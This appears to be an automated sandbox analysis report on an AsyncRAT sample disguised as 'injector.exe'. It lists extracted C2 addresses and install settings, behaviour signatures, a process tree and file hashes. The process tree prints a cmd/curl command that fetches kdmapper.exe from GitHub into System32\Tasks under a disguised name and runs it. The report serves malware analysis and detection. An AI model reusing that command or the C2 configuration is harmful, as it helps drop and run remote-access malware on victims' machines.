Analysis

  • max time kernel
    145s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 18:57

General

  • Target

    https://cdn.discordapp.com/attachments/1239109054819995690/1242913895287488542/injector.exe?ex=664f9144&is=664e3fc4&hm=6a7f6a4fddad087ad3655e2f77cb899a38c2c04f2133c824657001026e131137&

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

127.0.0.1:2035

147.185.221.16:2035

147.185.221.19:2035

121637121.duckdns.org:2035

Mutex

I8EJ82H739UG

Attributes
  • delay

    1

  • install

    true

  • install_file

    Update.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1239109054819995690/1242913895287488542/injector.exe?ex=664f9144&is=664e3fc4&hm=6a7f6a4fddad087ad3655e2f77cb899a38c2c04f2133c824657001026e131137&
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff80c8546f8,0x7ff80c854708,0x7ff80c854718
      2⤵
        PID:2592
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2052 /prefetch:2
        2⤵
          PID:4844
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4164
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2552 /prefetch:8
          2⤵
            PID:2780
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
            2⤵
              PID:1504
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
              2⤵
                PID:3900
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5352 /prefetch:8
                2⤵
                  PID:1720
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5352 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3876
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5344 /prefetch:8
                  2⤵
                    PID:3768
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
                    2⤵
                      PID:8
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5952 /prefetch:8
                      2⤵
                        PID:2588
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6016 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5232
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
                        2⤵
                          PID:6012
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
                          2⤵
                            PID:6020
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
                            2⤵
                              PID:2588
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6320 /prefetch:1
                              2⤵
                                PID:2832
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,5349516069340162344,210721296795132780,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4864 /prefetch:2
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1512
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:5064
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:2988
                                • C:\Windows\System32\rundll32.exe
                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                  1⤵
                                    PID:5340
                                  • C:\Users\Admin\Downloads\injector.exe
                                    "C:\Users\Admin\Downloads\injector.exe"
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5548
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe >nul 2>&1 && C:\Windows\System32\Tasks\kerneldat234.exe
                                      2⤵
                                        PID:5656
                                        • C:\Windows\system32\curl.exe
                                          curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe
                                          3⤵
                                          • Drops file in System32 directory
                                          PID:5672
                                        • C:\Windows\System32\Tasks\kerneldat234.exe
                                          C:\Windows\System32\Tasks\kerneldat234.exe
                                          3⤵
                                          • Executes dropped EXE
                                          PID:5708

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                      Filesize

                                      152B

                                      MD5

                                      4f7152bc5a1a715ef481e37d1c791959

                                      SHA1

                                      c8a1ed674c62ae4f45519f90a8cc5a81eff3a6d7

                                      SHA256

                                      704dd4f98d8ca34ec421f23ba1891b178c23c14b3301e4655efc5c02d356c2bc

                                      SHA512

                                      2e6b02ca35d76a655a17a5f3e9dbd8d7517c7dae24f0095c7350eb9e7bdf9e1256a7009aa8878f96c89d1ea4fe5323a41f72b8c551806dda62880d7ff231ff5c

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                      Filesize

                                      152B

                                      MD5

                                      ea98e583ad99df195d29aa066204ab56

                                      SHA1

                                      f89398664af0179641aa0138b337097b617cb2db

                                      SHA256

                                      a7abb51435909fa2d75c6f2ff5c69a93d4a0ab276ed579e7d8733b2a63ffbee6

                                      SHA512

                                      e109be3466e653e5d310b3e402e1626298b09205d223722a82344dd78504f3c33e1e24e8402a02f38cd2c9c50d96a303ce4846bea5a583423937ab018cd5782f

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                      Filesize

                                      186B

                                      MD5

                                      094ab275342c45551894b7940ae9ad0d

                                      SHA1

                                      2e7ce26fe2eb9be641ae929d0c9cc0dfa26c018e

                                      SHA256

                                      ef1739b833a1048ee1bd55dcbac5b1397396faca1ad771f4d6c2fe58899495a3

                                      SHA512

                                      19d0c688dc1121569247111e45de732b2ab86c71aecdde34b157cfd1b25c53473ed3ade49a97f8cb2ddc4711be78fa26c9330887094e031e9a71bb5c29080b0d

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                      Filesize

                                      5KB

                                      MD5

                                      e1987e392eead3b25980caf006919313

                                      SHA1

                                      17bd6b9c63a4c5b92b78de6fed48712165a7dbfd

                                      SHA256

                                      3643c94bac88ca1275440ae5882804ce7cdd60800bbf784166bf8ebe5882c6de

                                      SHA512

                                      61d6d1589227a0ed53f580322bdc044a402887833d965b5ea7d4d828cbe496730e7ff53519254a67b91363986dba84f9af322a12c85f506c45f69f5c4c8802cf

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                      Filesize

                                      6KB

                                      MD5

                                      770d2fc8bad9db040194293eec45b6bc

                                      SHA1

                                      86e099ab92f74cb933414384f8890c6b3cfd2773

                                      SHA256

                                      51d183d7231663ccd0094f578cfaf1db6af47c85dc087f716947d0dfbeac5f2a

                                      SHA512

                                      d1ada7642d466b128833f5e3fa0a2df7620e33602b7abcb9f82c94b6e21c20f8c8fba4eefa5cc4ce5b3189d23927b567ab85a34c0b16213d7ac08007bd1dc730

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                      Filesize

                                      16B

                                      MD5

                                      6752a1d65b201c13b62ea44016eb221f

                                      SHA1

                                      58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                      SHA256

                                      0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                      SHA512

                                      9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                      Filesize

                                      11KB

                                      MD5

                                      668bfede6533fe2259a78e12475ac85f

                                      SHA1

                                      15f4427d59a95071d8b469e5984875e9d169d6c9

                                      SHA256

                                      3c34c6390460023aae10d7f1a22918f1378f3d38ffac0836232e76e9debc4e49

                                      SHA512

                                      bcf4c08d7fc74c2d8f8d717d7a959e43cd6838795608929b37875c0eb8e911b7bc2a6627b152123148d56b4d50b6a3b30114f515b94cb4b94ae0f34798b0cfb9

                                    • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                      Filesize

                                      11KB

                                      MD5

                                      0610dd37a37145504f944c989a6038ce

                                      SHA1

                                      f2e50cea08ab88f1ad9db747c85403f9be17ec0c

                                      SHA256

                                      a1586d64246bd5d7f5faf8fff026ff08226055c16093ef45bc47ddbb853f66ee

                                      SHA512

                                      b238a9c78d63ba1a137fd11d6879fb5d3f530bd4df05221b48c60cf96245e67b141f07cf69c1238fc53e78363c2eb1a985b0cab8ca9bbc4ec069c4e4d031bba7

                                    • C:\Users\Admin\Downloads\Unconfirmed 562389.crdownload

                                      Filesize

                                      573KB

                                      MD5

                                      2f1cd867c54622d92fbcc70159b215c4

                                      SHA1

                                      bb62921cea98354119772ad8eeed7c8565c63eef

                                      SHA256

                                      b12290299aafe7b98c37562b6183205f7b30e9ffeca73973018b1b64e63eb638

                                      SHA512

                                      26a74e3baa56a3fb2d8c3738a55a1d62bb4de7a058272e51cf708f3b2f2a4b2625c9ddcf9b640fa4be8012a90980f070a8b56967b6daccce50c3d345d25d6199

                                    • C:\Windows\System32\Tasks\kerneldat234.exe

                                      Filesize

                                      48KB

                                      MD5

                                      a64c195587c96e2d3dabe451e7ebb496

                                      SHA1

                                      56b34ea8794487287f4d13708c56e46012417e9b

                                      SHA256

                                      f879d638d1ff0dd11471d38f62361315bb43b77d3605ec9ff67b149f435dadcc

                                      SHA512

                                      b9b600898e094832cd598182002fddab9506166fc9104994651aa83b8c96f7339901fec258978ecaafce393ac6c453280ccf22061b40839703d1760a6f3108cd

                                    • \??\pipe\LOCAL\crashpad_992_AUPWVPNYFAUJGXMO

                                      MD5

                                      d41d8cd98f00b204e9800998ecf8427e

                                      SHA1

                                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                                      SHA256

                                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                      SHA512

                                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                    • memory/5708-66-0x00000000000B0000-0x00000000000C2000-memory.dmp

                                      Filesize

                                      72KB